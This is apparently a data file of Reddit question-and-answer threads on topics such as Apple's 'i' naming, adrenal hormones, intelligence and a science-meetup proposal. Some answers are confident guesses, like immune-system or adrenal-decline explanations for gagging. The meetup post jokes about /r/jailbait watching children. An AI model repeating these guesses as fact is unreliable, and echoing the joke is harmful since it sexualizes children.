then.  Here's some extra homework.\"\n\nAnd then there's seeing all the stupid shit people get away with because of it.  I have literally seen a teacher ignore kids squealing their tires in the parking lot and go after some kid with a baseball cap.  \n\nSo yeah I think everyone who complains about hats should be assigned janitorial work around the school.  Start with the school board, principal, teachers....see how long it lasts.   \n\nRemember many of these values came from people who would also just as soon burn you at the stake for witchcraft or \"beat the queer out of you\" if they saw fit.  ", "I think in this case, it's latching onto an antiquated notion. People hate change, and love displays of power over others. The no hat policy satisfies both of these. \n\n**\"We do it because we've always done it\".** It isn't a great reason for something, but it sure is a prevalent one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2vr43x", "title": ". what does the i stand for in all apple products?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vr43x/eli5_what_does_the_i_stand_for_in_all_apple/", "answers": {"a_id": ["cok64e2", "cokb1zt", "cokbabf", "cokbhda", "cokc7r4", "cokcvdo", "cokddcu", "cokdnl3", "cokeikd", "coket8r"], "score": [73, 13, 5, 4, 2, 10, 2, 2, 2, 2], "text": [" >  When the first iMac was released in 1998, there was much discussion about what the \"i\" in iMac stood for. Since the Internet was growing rapidly at the time, many people assumed in stood for \"Internet.\" Others thought it might stand for \"Integrated,\" since the iMac was an all-in-one computer. Another common guess was that the \"i\" stood for \"Intelligent,\" since the iMac was designed by Apple to be a powerful, yet easy-to-use computer, therefore making it an intelligent choice. Finally others thought the \"i\" might stand for \"individual\" or simply \"I,\" because of the unique and personal nature of the iMac. However, Apple never verified any of these claims.\n\n >  Since the initial iMac was released, several other \"i\" products have been developed and marketed by Apple, including the iPod, iPhone, and iPad. Apple has also produced several software programs beginning with \"i,\" including iTunes, iCal, iChat, iSync, iPhoto, iMovie, iDVD, and iWeb. Their consumer and professional software suites are named iLife and iWork respectively.\n\n >  Judging by the wide range of \"i\" products Apple has produced, it seems clear there is no definitive meaning behind the letter \"i.\" Even so, the naming convention has become a powerful and effective marketing tool for Apple, since it clearly defines their products. For example, when the first iMac was released, it created much greater brand recognition than other computers of the time, whose names were seemingly random strings of letters and numbers. Since then, other companies have started naming their products with more memorable names, but Apple's products like the iPhone and iPad still have the highest name recognition in their respective markets.\n\n >  While we may never know what the \"i\" originally stood for (or if there ever was a distinct meaning), it has become a defining moniker for Apple products. And that is something \"i\" can appreciate.\n\n* [source](_URL_0_)", "Well damn, I never realized it was just a random letter.  When apple started putting all this out there, I always assumed the \"i\" was literally referring to 'I', as in the person using it, and that it being lower case, it was suggesting the person is not the main subject, but rather the device.\n\nI saw things like \"iPhone\" as meaning, 'This phone is an extension of myself.\"  It made sense for their new age marketing and appeal.  I guess I should have been a marketing consultant.", "nothing. it's just marketing. it creates a brand image", "The watch is just called the \"Apple Watch\" tough. Apple Book, Apple Pod and Apple Phone incoming?", "Idiots ... Since they marketed well and created an entire generation of people to buy over priced outdated technology", "It originally stood for Internet, as the iMac was designed to get people online easily.\n\nPlug in a keyboard  &  mouse, plug in a phone cord, and plug it into the wall, and you could get online. That was a big deal back in 1998 when most home computers were simple beige boxes with a ton of wires to connect and software to download before you could do anything useful with them.\n\nOver time, it has become its own branding and no further explanation is needed.", "And here I thought it was just the 1st person, personal pronoun. Shrug.", "Before everything was an iThing everything used to be an eThing.", "It refers to the all seeing eye... i = eye\n\nAlso \"i\" is the first letter and last letter in the word \"illuminati\"\n\nIt's right there on the $33 bill!\n\nBill Gates was an American president.\n\n4 x 7 is 28!\n\nWake up sheeple!\n\n", "I - Iamselfishandeverythinghastobeaboutme\n\ni own an iphone, can confirm"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://pc.net/helpcenter/answers/meaning_of_i_in_apple_products"], [], [], [], [], [], [], [], [], []]}
{"q_id": "6gq2tz", "title": "What would happen to someone in Nazi Germany who wanted to get married but was an orphan or illegitimate, regarding the Nuremberg Laws of proving your heritage?", "selftext": "I've been doing genealogy and recently discovered state documentation that says my grandfather (born in Germany in 1921) was born illegitimate. He managed, however, to marry my grandmother in 1942 despite this somehow.   \n  \nI have no record of family history before him and am wondering if he in fact did have to prove his heritage and there is or was a record of his original family somewhere.   \n  \nWas an [Ahnenpass](_URL_1_) or something similar required for marriage because of the [Nuremburg laws](_URL_0_)? Were there other examples of people who were able to get permission to marry if they simply didn't know their heritage for any reason?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6gq2tz/what_would_happen_to_someone_in_nazi_germany_who/", "answers": {"a_id": ["dis8smu"], "score": [3], "text": ["Hi OP, I've temporarily removed your post per our rule to protect personal privacy - _URL_0_. Could you either remove the link to your grandfather's docs, or modify the images to block out his name (and the names of any other people not serving in an official capacity), and any other identifying information.\n\nThen let the mods know and we'll approve the post.  \n\nThanks!"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Nuremberg_Laws", "https://en.wikipedia.org/wiki/Ahnenpass"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_privacy"]]}
{"q_id": "1y2joj", "title": "why is it i could stomach the sight and smell of everything in my 20s, but as i approach 40, everything makes me gag?", "selftext": "Whether it be old pizza, cleaning up dog poop, or seeing gory things back in the day on _URL_0_, it didn't phase me one bit, yet, this morning I dry heaved while I poured out 3-day old Starbucks in the sink and felt queasy. Same goes for gory stuff, blood, cleaning up after my dog...can't do it anymore. Has anything physiological happened or is it all in my head?\n\nI'm female if this makes any difference.  (hormones?)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y2joj/why_is_it_i_could_stomach_the_sight_and_smell_of/", "answers": {"a_id": ["cfgtd28", "cfgunbv", "cfgw6v6", "cfgzcjg", "cfgzxbi", "cfh1402", "cfh5d74", "cfhc9yk"], "score": [8, 7, 3, 3, 2, 2, 2, 2], "text": ["It might have something to do with the brain's focus on physical pain shifting to emotional pain as you grow older. Empathy is something you get as you age. And this probably translates into sensitivity to gore. I don't know why old pizza and dog poop started to affect you more though.", "Are you a parent?  Ive found parenthood to give me a sort of armor or shield that has to be depleted before poop or vomit or spit actually grosses me out.  Kids are nasty and you kind of get used to it.\n\nAlso, as I have gotten married and started a family, gruesome or morbid things have much greater emotional context for me.  I used to be able to watch people get blown up or planes crash on YouTube, or soldiers getting shredded in war movies, with a smile on my face.  Im not obsessed with violence, it just didn't bother me.\n\nWith 30 years of my own life behind me as well as a beautiful wife and a baby boy, I see what can be lost due to violence or random acts.  In short, life is much more precious to me now.  I watch Saving Private Ryan, and I don't think of how cool the D-Day landing looks.  I think of how it would feel to get a letter in the mail that my son died in combat.", "Increased estrogen is associated with an increased sense of smell (hyperosmia). Are you on hormonal contraception?\n\nSome medications can also cause it.  What medications do you take?", "This is a wild guess, but could it have to do with our immune system weakening as we age? We have gag reflexes to prevent us from from ingesting things that might be bad for us. If you're young and you accidentally eat poop, it's easier for your body to recover. But if you're old and get some sort of a disease as a result, it takes a greater toll on you. So to compensate, your body ups the gag reflexes to make sure you don't accidentally eat any poop after you turn 40.", "This is because when you're at your healthiest or at the peak of your strength (i.e. 20s), your body's immune system is as strong as it will ever be, and so your body naturally steers you away (i.e. gags) from the same sensory inputs, because it will be less able to defend you with antibodies and with clotting agents if you have a cut (gore) or if you ingest something that is hazardous to your health (poop or old pizza). ", "My guess is that it relates to the [decline of adrenal capacity](_URL_0_) with age. I know that the adrenals help us deal with stress of all kinds, including being confronted with disgusting things. The adrenals naturally decline over time.", "'Poured out 3-day old Starbucks in the sink' - my doppleganger", "Haven't seen this mentioned. There certainly are physiological and psychological changes involved. As you age, everything changes in your body. The changes I've noticed are:\n\nI crave sugary foods or candy way less than a decade or so ago. I used to love chocolate, and nowadays the thought of eating it is sometimes a bit repulsive. I would rather have something salty for a snack.\n\nThings I couldn't stand before, like strawberries added to a tomato, lettuce and cucumber salad, are now quite tasty. This includes many other sweet-salty mixtures like some oriental sauces.\n\nSpeaking of the psychological aspect of it and why you've become more sensitive to those things in particular, well that would require knowing a hell of a lot more about who you are, which makes it impossible for me to provide any insight."]}, "title_urls": [], "selftext_urls": ["rotten.com"], "answers_urls": [[], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/9253307"], [], []]}
{"q_id": "4fobcm", "title": "What did the Guyanese government do about Jonestown and the events that transpired there? How did it impact Guyana?", "selftext": "Seeing as the suicide of the People's Temple and murder of Leo Ryan made national news in the U.S. I wonder how much did the local government do to help the Americans? When I see and read things about it the Guyana location seems secondary.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4fobcm/what_did_the_guyanese_government_do_about/", "answers": {"a_id": ["d2c4lgt"], "score": [9], "text": ["As in, did the Guyanese government give assistance to survivors post-Jonestown deaths, or as in did the Guyanese government have a close relationship with Peoples Temple members? I wanted clarification before I go off writing a huge answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4kyw5l", "title": "why do faces look so different based on where you live on the globe?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kyw5l/eli5_why_do_faces_look_so_different_based_on/", "answers": {"a_id": ["d3iwe5e", "d3ixx4j"], "score": [11, 4], "text": ["Historically, it's been hard for groups of people to move around.\n\nThat means that, once a group of people have moved to a particular part of the world, they haven't been able to inter-breed with people from other parts of the world very easily.\n\nWhen this happens (in any species, not just in humans), it allows for genetic differences to gradually start to develop. For example, not every black African person has exactly the same shade of skin. When people from Africa moved to Europe, where the climate is cooler, people with slightly lighter skin found it easier to survive, because their skin was slightly more suitable for the different weather conditions. This difference was only slight, but it meant that, in the next generation, there'd have been slightly more children with slightly lighter skin than there would have been if that population had remained in the African heat.\n\nRepeat this for thousands of generations, and those differences become more and more marked, until eventually we see the kinds of differences that we see today when we compare one race with another.\n\nThose differences are very superficial, though, because they only had a few thousand years to take place. This is the same process which gives rise to different species, and if it carried on for millions of years, it would likely result in different species forming. But of course we've stopped that from happening, by making it much easier for people to travel across the world, so modern groups of humans are far less likely to be geographically isolated from each other.", "When the first people left Africa they went different ways. Some went to Asia, some went to Australia, some went to Europe, some went to the Americas, and of course, some stayed in Africa. This happened over a period of maybe 30~40 thousand years, beginning about 50 thousand years ago. \n\nWhen groups of people are separated and can't make babies with each other they begin to evolve in different directions. Genetically, they grow apart. Some changes evolved to help the people live in their particular area of the planet, like skin color, while other changes are just a result of random \"drift\". Some facial differences may also have evolved because those groups of people thought a certain kind of face was handsome or pretty. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "au4srh", "title": "is intelligence entirely determined in the early stages of life or is it something that can change later on?", "selftext": "Whenever I read about influential scientists and mathematicians, I notice how their upbringings had a similarity: their curiosity and intellects were all nurtured as children. Do people farther down the road of life still have the ability and potential to grow their minds to reach the same heights?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/au4srh/eli5_is_intelligence_entirely_determined_in_the/", "answers": {"a_id": ["eh5lo1c", "eh5n445", "eh65k57", "eh6b19i", "eh6fw8h", "eh6h8ug", "eh6iaub", "eh6p22x", "eh7q242"], "score": [5, 23, 4, 3, 2, 3, 3, 2, 2], "text": ["It's both.\n\nPeople who are mentally challenged, suffer development issues, etc are kind of predetermined to an extent. \n\nMost people who are 'dumb' could be smarter. But it takes studying and effort, practice. \n\nOf course some people are savants, genius, and are more likely to be intelligent. But that can be squandered by laziness or disadvantage.", "Your genetic code mostly determines how your brain will form and develop, but environmental factors (nutrition, injury, etc) during the growing process play a big part in this. But most healthy brains end up similar to each other in most ways, so barring disabilities, that's not that important.\n\nMost people have the capacity to learn whatever they want, they just need to put effort into learning. Therefore, capability for knowledge is common among people, but actual knowledge is a consciously acquired thing.", "The intelligence quotient (IQ) is based on one of the most common concepciotn of intelligence that divides it into two entities: fluid intelligence and crystallized intelligence.\n\nFluid intelligence is believed to be majorly determined genetically - it's your cognitive potential i.e. pattern recognition, spatial manipulation, algorithmic processing etc.  (good nutrition in early years is supposedly able to slighty enhance this type of intelligence). But in general you are stuck with what you get.\n\nCrystallized intelligence is acquaried . It's knowledge - things you know. And this isn't so easy either - one learns faster, another slower. One is more determined to keep learning others are less. Those qualitative differences that influence how much knowledge you will acquire are dependant on many genetical and environmental factors. Hoever free will can make the biggest difference here.\n\nHaving both types of intelligence at a high level is being considered as being smart.\n\nPlease mind, that this explains cognitive abilities only in the realm of \"things\". The other realm is considered to be people - here emotional intelligence playes a much bigger role. And it's a different story.\n", "Intelligence is a result of biology and personality.\n\n & #x200B;\n\nOn one hand, you can say it is how fast a person learns. This is due to the brain's ability to retain and process information. This can be genetically and biologically influenced.\n\n & #x200B;\n\nOn the other hand, you can say intelligence is how much a person knows. Given enough study time, most people can learn anything. It's a matter of how much effort, discipline, access, etc. This is mostly a result of habit, personality, and environment.\n\n & #x200B;\n\nSo when you get the ultimate combination of ability and environment, you get some crazy smart people.\n\n & #x200B;\n\nBut you also get crazy smart people when you have less than optimum genetics but highly focused and dedicated effort.\n\n & #x200B;\n\nInterestingly enough, you tend to see a balance between these two factors. People who are biologically gifted find school easy, so they tend away from focus/dedication/discipline and later in life may be discouraged from intellectual challenge. The opposite is also true. So a person generally benefits an outside intervention - such as parents and teachers who nurture a gifted child to greater potential.", "On top of what others have said here explaining a genetic basis and environmental basis, I would also like to note that the acquisition of information is somewhat a compounding process, like a snowball rolling downhill. If you know more things, it becomes easier for you to learn new things by making connections with things you already know. Therefore, the more things you know, the faster you can learn new things, thereby increasing the amount of things you know, which increases the rate which you can learn (up to a point of course). So often when you hear stories of incredibly gifted or intelligent people, it is reported they displayed signs like this since an early age. This could just mean that some people begin learning earlier, and have had more time to compound their intelligence (which can have genetic and environmental components influencing the pace with which your brain forms and its resultant structure). It is true that when you are a child, your capacity to learn is much higher, meaning that time put into learning as a child is likely to have a higher payoff than time spent as an adult. The adult brain still has a great capacity for learning, however. \n\nFor this reason, I have always held the belief that the only bad time to practice learning is never. Every day that you learn new things you are increasing your ability to learn more things tomorrow, and the earlier you dedicate your life to learning, the greater you will maximize your intellectual potential. It is just like a savings account. If you don't have one, you will never accrue interest, and delaying having one only reduces the total interest you could have theoretically compounded on the account. ", "This has been tested thoroughly over the years, especially by the military. They have learned that no amount of training will make a person more \"intelligent\". But you can train a person of average intelligence to do certain specific jobs very well.  So anybody can still grow and learn, but you will likely never increase your IQ more than a point or two. ", "In general, you can predict someone's adulthood intellectual capabilities with reasonable accuracy before they even enter school.\n\nThere are some impediments that can make otherwise smart people *seem* dumb, though. For example, deaf or blind children have a hard time demonstrating their intelligence in many cases. The underlying intelligence is there, but people are looking at the wrong things when they check for it.\n\nIn terms of the implied nature vs. nurture issue, it's both. You are far better at learning as a child than you are as an adult. So when it comes to certain foundational types of learning, a failure to accomplish it as a child probably means you'll never be particularly good at it. The two most common examples are language and mathematics.", "One the biggest areas of very recent study is emotional intelligence. This has to do with relationships with people. Two general conclusions from this area of study are: 1. Anyone can improve at any time, and 2. There are more types of intelligence that are just as important as the one that people typically think about. There hasn't been a single case in these studies that suggests there is anyone that can't improve, even if only a little. This includes developmental disabilities.", "The answer to the nature vs. nurture debate is not clear, except both matter.  Some thoughts:\n\n*You can think of it as seeds.  If you take two sunflower seeds (let's say they are from the same plant with all the same factors) and give one optimal growing conditions and one terrible growing conditions, the one nurtured will obviously have superior results.  Environment matters.  But if you take a bean seed, no matter what you do, it's not going to be a sunflower and that's okay because we need diversity.  Genetics matter too.\n\n*In the case of influential people they often had a double dose of initial intelligence passed through their parents DNA and those same smart parents providing opportunities to build their intelligence as they grew.\n\n*In general, things that happen earlier in life matter more than things that happen later.  For example, good nutrition as an infant has greater effects on intelligence than good nutrition in your 40's.  \n\n*Intelligence is a tricky thing to measure and define.\n\nSo in short, yes you can grow your mind, but how much is limited by innate ability, age, and opportunity.  It may not be possible to reach the same heights as someone who has superior genetics and early experience, but you can certainly get somewhere.  For example, I do not have an aptitude for physics I think due to natural ability and lack of interest as a child.  I'm in my 30's and could certainly learn it now, but it would take significant time and effort.  Practically, I could never catch up with my sister who excelled in the subject."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "edqiqq", "title": "What is the correlation between Adrenal Glands and Central Nervous System?", "selftext": "From what I understand, the *psychological* symptoms of anxiety come from n*eurotransmitter imbalances* in the **Central Nervous System,** whereas the *physical* symptoms (such as increased heart rate and shakiness) are due to stress hormones (**Adrenaline** and **Cortisol**) being released by the **Adrenal Glands** when the **Central Nervous System** sends out the required signals to do so.\n\nDoes the overproduction of **Adrenaline** and **Cortisol** occur? If so, is it possible for the **Adrenal Glands** to overproduce these hormones *on its own?* How does this affect the **Central Nervous System?**\n\nIs the central nervous system *necessary* for the release of **Adrenaline/Cortisol**, are there ever exceptions? Does the **Central Nervous System** control the *production* (*quantity* etc...) of **Adrenaline** and **Cortisol**, or only the *release*?\n\nIn what ways can *malfunctioning* **Adrenal Glands** affect the **Central Nervous System?**\n\nIs there a connection between the *excess production* of **Adrenaline**/**Cortisol** and them being *released at random, unnecessary times*? If so, could this be a cause of the panic attacks that come with **General Anxiety Disorder, Panic Disorder** and other *stress related* *conditions*?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/edqiqq/what_is_the_correlation_between_adrenal_glands/", "answers": {"a_id": ["fbk4bbw", "fbkbl4z"], "score": [2, 11], "text": ["The adrenal glands also produce noradrenaline, which is a lot like adrenaline, except that it is a neurotransmitter. Noradrenaline is also produced in the brain. That\u2019s a big part of the link between the endocrine and neurological sides of stress.\n\nEdit: adrenaline can also be a neurotransmitter", " > Does the overproduction of **Adrenaline** and **Cortisol** occur? If so, is it possible for the **Adrenal Glands** to overproduce these hormones *on its own?* How does this affect the **Central Nervous System?** Is the central nervous system *necessary* for the release of **Adrenaline/Cortisol**, are there ever exceptions?\n\nYes, this is possible. Tumors of the adrenal gland or the pituitary can overproduce cortisol and adrenaline, or in the case of the pituitary the hormones that signal the release of more cortisol. For cortisol this would be called Cushing's syndrome or Cushing's disease. Pheochromocytoma is an adrenal tumor that secretes adrenaline.  \n\n >  Does the **Central Nervous System** control the *production* (*quantity* etc...) of **Adrenaline** and **Cortisol**, or only the *release*?\n\nAFAIK, just the release. I need to go look that up, though. \n\n > In what ways can *malfunctioning* **Adrenal Glands** affect the **Central Nervous System?**\n\nI'm gonna focus on cortisol here. Malfunctioning adrenals, or even just chronic stress, alters the normal feedback loop of cortisol production. Normally your hypothalamus keeps track of your blood cortisol levels, modulating CRH to tell the pituitary to modulate ACTH to signal the adrenals and keep them producing cortisol on a nice diurnal rhythm, lowest in the middle of the night and spiking right before you wake up, for a peak about 30-45 min after you wake. Hypothalamus is listening to the hippocampus and amygdala, which will tell it if it needs to ramp way up for a stress response. \n\nSo normally there's a negative feedback loop; if cortisol gets high, hypothalamus stops telling pituitary to signal the adrenals. Cortisol gets low, hypothalamus pokes pituitary to yell at the adrenals to make more cortisol. But with high, constant cortisol, the hypothalamus gets overwhelmed and does the functional equivalent of slapping its hands over its ears to block the noise. Now it's not \"hearing\" the high cortisol, so the negative feedback loop breaks down and starts to feed forward.\n\nWhile you're stressed your whole body shifts its functions toward survival. In the brain, your hippocampus is revved up and the amygdala very sensitive to potential danger. Over time, though, this can't be sustained; your ability to learn and form new memories is hindered, as is your ability to tell danger from not-danger. Same goes for the prefrontal cortex - mundane things like executive functions get set aside in favor of what's right in front of you right now. Complex decision-making, imagining into the future, problem-solving without immediate payoff go out the window.\n\n > Is there a connection between the *excess production* of **Adrenaline**/**Cortisol** and them being *released at random, unnecessary times*? If so, could this be a cause of the panic attacks that come with **General Anxiety Disorder, Panic Disorder** and other *stress related* *conditions*?\n\nIndeed! It's quite likely that at least some cases of panic disorder are triggered by sudden unprovoked activation of the sympathetic nervous system.  And in some (maybe around 1/3) cases of depression, the diurnal cortisol rhythm is dysregulated such that it doesn't drop down at night. That screws up your sleep, which worsens the depression, downward spiral commences. Really, really high cortisol can also cause psychosis. \n\n & #x200B;\n\n(NB: noradrenaline and norepinephrine are the same molecule, as are adrenaline and epinephrine. When translated, they mean the same thing in different languages! Your adrenal glands sit on top of your kidneys. \"Ad-renal\" means on top of kidneys in Latin, and \"epi-nephros\" means on top of kidneys in Greek. As for CORtisol, it is secreted by the adrenal CORtex. Fun with languages!)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "29zkjr", "title": "what is \"spacing out\"?", "selftext": "What is spacing out?\nYou know, like when your eyes unfocus and you just stare off at a random object... your mind kinda goes completely blank. \n\nWhat is this phenomenon or brain activity? \n\nIs it just an idle state of mind, is there any sort of name for it? Or what triggers it? \n\nVery curious, and Googling hasn't exactly produced the results I want. \n\nI apologize in advance for any format errors or if this has been answered previously. I did search, though. I'm not the most Reddit-savvy. \n\nAnywho...respond away!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29zkjr/eli5_what_is_spacing_out/", "answers": {"a_id": ["ciq346o", "ciq364i", "ciq4zpd", "ciq54xp", "ciq8cgb", "ciqa8u7", "cirk6fh"], "score": [3, 14, 8, 15, 5, 5, 2], "text": ["Good question op", "i dont remember for 100% sure but i believe it is micro sleep, where your brain literally falls asleep for a few seconds and when you \"wake up\" you have no idea what you were staring at or why because you were asleep\n", "Are you describing when your inner thoughts become more prevalent than your surroundings?\n\nWhat about when you are deep into a video game and your brain then just starts having complete conversations as you carrying on thwacking the buttons? Or driving? Or exercising? ", "i'm sorry. what was the question?", "You can ask in /r/askscience and tell them you're a layman.", "Micro-nap. Day dreaming. ", "There are several different parts of the brain that control attention, and they receive information from all of senses to alert us to different cues that may be important.\n\nIn vision, information from the eyes will be carried through the visual centres in the brain and seen by these areas of the brain. This area can then feedback signals to the eye that tell the eye to focus its vision on a certain 'important' area of the visual field.\n\nFrom this we can hypothesise that in a situation where one is 'spaced out' they would have less activity in this part of the brain or could be trading attention from their visual sense and using a different sense to pay attention to, like hearing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "fu2re", "title": "Would anyone be interested in a series of miniconferences/meetups? ", "selftext": "TL;DR- Read it. I want to make a real-world interactive wikipedia that creates community between scholars, scientists, and the public. \n\nedit: [**Please sub up at this subreddit. I don't want to spam /r/askscience.**](_URL_1_)\n\neditedit: [**Advertising in /r/science**](_URL_2_)\n\n\nI'm not a scientist, nor will I be a Ph.D candidate for another million-billion years (and in social anthropology at that, so shit). I can't answer questions, rarely have one that is specific enough that it can't be googled, and I feel really out of place here. \n\nWhat I do have is a lot of event planning experience, both on-site and remotely, and an idealistic side that would make Don Quixote shoot himself in the face. Now normally these two don't come together very often, but one of the things I really love is the idea of using the internet to facilitate real-world communities.\n\nNow Reddit is really good for this. I've met maybe 50-100 redditors in real life, including formal meetups, and maybe it's just bias speaking but the people I've met through this site have been some of the most friendly, generous, interesting, and all-around fantastic people I've had the pleasure of meeting. We have this growing body of subreddits devoted to real-world exchanges (r/snackexchange, r/mixcd, r/sandboxxit, etc), real-world assistance (r/favors, r/assistance, r/youngluck), and formal meetups (r/meetup, r/twincitiessocial), and there's such a profound amount of potential for something greater.\n\nLast night, [Shavera proposed an idea](_URL_3_) that got me thinking. Then the thinking didn't stop. Then it still didn't stop. Then I found myself awake until noon with a massive brain erection just thinking about the idea of r/askscience starting some kind of formal conference group.\n\nWe have everyone from undergrad curious thinkers to neurobiology researchers to professors of things I can't easily pronounce to whatever the hell RobotRollCall does. Fourteen thousand people in this subreddit alone, 500.000 in /r/science, and I'd put it at 600.000 within all of the academic subreddits combined. These are your teachers and your students, highschool dropouts and multiple Ph.D holders, professional scientists and professional grocery baggers. To sum up our readerbase in a nutshell, we have [EVVVERRRYYYYYONNEEEEEE](_URL_0_) and then some. \n\nAnd not only that, but we have some very talented people who are very good at explaining very complex subjects in very simple terms. Say what you will about pop science, but I love what little I think I know about theoretical physics because of guys like Michio Kaku and their grossly simplified explanations. \n\nHere's what I want to do. I want to put the community back in scientific community. Monthly gatherings in cities with enough interest, thirty minutes with an open mic to talk about whatever it is that fascinates you, the topic of discussion being any academic subject that's interesting enough to make anyone devote their lives to studying it. We'll have geologists speaking after music theorists speaking after philosophers speaking after clandestine chemists speaking after linguists. \n\nBut we won't stop there. Everyone brings something to the table. I may not be able to talk about the molecular structure of a turnip, but I can make a borscht that is the second-leading cause of teen pregnancy amongst at-risk youth. We have foodies from /r/foodporn cooking, musicians from /r/wearethemusicmakers playing, and maybe even have /r/jailbait come by to watch our kids...intently. \n\nIt's a TED Talk without the price tag for attending, a meetup without the awkward silence, and a platform for our most brilliant minds to make the rest of us feel stupid. It's a projector, a laptop, and up to thirty minutes to talk about some idea or some facet of your research and explain to everyone why it matters and why you care about it. It's a chance for grad students to meet with their professors and future employers, for housewives and artists to talk with foreveralones and the next Tesla, all in a casual, fun atmosphere that doesn't exist anywhere else.\n\nOh, and it's all recorded and archived online by subject (identity obscured if you wish) so that anyone can learn about anything in a way that they'll understand. This isn't a series of local meetups, it's a global meetup that happens to be in different venues- a real opportunity to spread knowledge to the millions of people who visit this website and every infojunkie and wikiaddict beyond.\n\nI want a show of hands, not only from potential speakers but from anyone who has ever found themselves reading about obscure towns in Poland at 6AM just because, for who would be interested in reinventing the conference and making something very real out of this community and others like it. We'll need local curators to link up with me, local venue owners who want new business, and people willing to help maintain the archive. It's going to be hard work, but if we pull this off it will be one of the first (if not the first) projects of its kind.\n\nSo, who's in? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fu2re/would_anyone_be_interested_in_a_series_of/", "answers": {"a_id": ["c1imr9w", "c1imu4v", "c1imwz8", "c1imxzb", "c1in70n", "c1indot", "c1inhfu", "c1inl7y", "c1inpp2", "c1inxtj", "c1inyku", "c1io3gc", "c1iogmr", "c1ipy5d"], "score": [8, 2, 22, 4, 2, 3, 8, 2, 2, 2, 2, 2, 2, 2], "text": ["Oh, and as for the name of this, I was thinking of playing off the TED Talk name and calling it REDdit- dit being the French word for \"said\". Conde Nast is going to boil me alive. ", "I guess I'm somewhat obliged at this point, no? lol but seriously, yeah I'd be up for it. I'm in the New York city area at present, but I'm also often in Pennsylvania and Iowa. \n\non a short term, anyone else going to the Neil deGrasse Tyson moderated string theory discussion in NYC on the 7th of March?", "Benefits:\n\nScientists- \n\nAn opportunity to share knowledge\n\nAn opportunity to brag about how cool your research is (bonus points if you're researching the optimal number of machine guns to mount on a bear)\n\nAn opportunity to network with other local/regional scientists\n\nAn opportunity for input on your research both from within your field and outside of it\n\nSapiosexual women. Like two of them. Maybe three. \n\nStudents-\n\nAn opportunity to gain knowledge\n\nAn opportunity to ask questions\n\nAn opportunity to network with potential future employers \n\nAlcohol, maybe from /r/homebrewing. \n\nVenue owners- \n\nLarge, polite groups meeting monthly\n\nCurators-\n\nYou don't have anything better to do with your time\n\nAn opportunity to facilitate real-world community \n\nAn opportunity to network with other redditors\n", "As a very knowledge hungry and curious undergraduate, I'm very much interested in participating.\n\nWith advanced notice and planning, I could facilitate communications so that we can do large conferences, meetings, etc at MIT or at the very least in the Cambridge/Boston area.", "I'd be in! I'm most frequently in Charlottesville, VA, Washington, DC, and NYC.", "I'd be interested, as long as it's more \"drink alcohol and blather on about science\" instead of \"wear nice clothes, spend a week making a poster, and try to survive on free cookies and coffee.\"", "As much as I'd love for this to work, I think the logistics may not work out so great. Some reasons: \n1) Redditors are spread out all over the world, (for example I am in Japan, (not Tokyo), I think there about 3 other redditor's in my city (the fourth biggest in Japan)). \n2) It's gonna take a LOT of work to organize. Advertising on reddit, aquiring and managing facilities (for free?). (and all of this in cities all over the world?)\n3) The relative dearth of real experts. As I've seen on here, there are MANY people that have a lot of expertise, there are also many more who claim to have expertise. Will there be an efficient filtering system (vote for your speaker)? Also, will the few true experts in the target city be available for the scheduled time?\n\nWith these things in mind, let me contradict myself by saying I think it's a great idea, and I'd love to participate. However, I think it will take a LOT of work and ambition to bring this project to fruition. If it get's there, count me in. ", "I think it's a great idea, if difficult to implement.  One of the keys of course is to properly film all the talks, so they are available to everyone.  \n\nLike dansin, I'm not in the states, so actually attending is probably out of the question.  I would certainly watch the videos though, and maybe I could help with some other type of preparations.  ", "I like it! Though, as a lot of people have pointed out, geographical distributions could make this pretty tough to pull off. Pessimism aside, I live in the bay area and get a kick out of public speaking so sign me up if anyone is game to hear about the ins and outs of taking ultrafast pictures of small things.", "I'm in! I think it is a wonderful idea. The idea of making a conference across topics and fields sounds like a great opportunity to learn and to share! If you need people responsible for it in each city, I can take care of Montr\u00e9al!", "If these do happen, could we get as many of them filmed as possible? ", "I think it's a great idea and I'd love to attend. I'm in Pittsburgh, PA, though I could take a road trip to nearby cities if it's not during an exam-heavy week.", "I'd be frigging glad if its going to happen in my town and someone can pick me up (nerd without a car)", "Are you talking about something like Caf\u00e9 Scientifique? _URL_0_\nThey did this where I went to undergrad (Morris, MN). The coffee shop let us meet for free, someone would rent a projector/screen from the school and the speaker would talk about whatever they wanted. After, people would just hang out and talk science."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=cyfbRz4ObFY", "http://www.reddit.com/r/rsss", "http://www.reddit.com/r/science/comments/fud4y/crossposting_a_new_subreddit_were_trying_to_start/", "http://www.reddit.com/r/askscience/comments/fseo0/askscience_panel_of_scientists_iii/c1ieije"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.cafescientifique.org/north%20america-links.htm"]]}
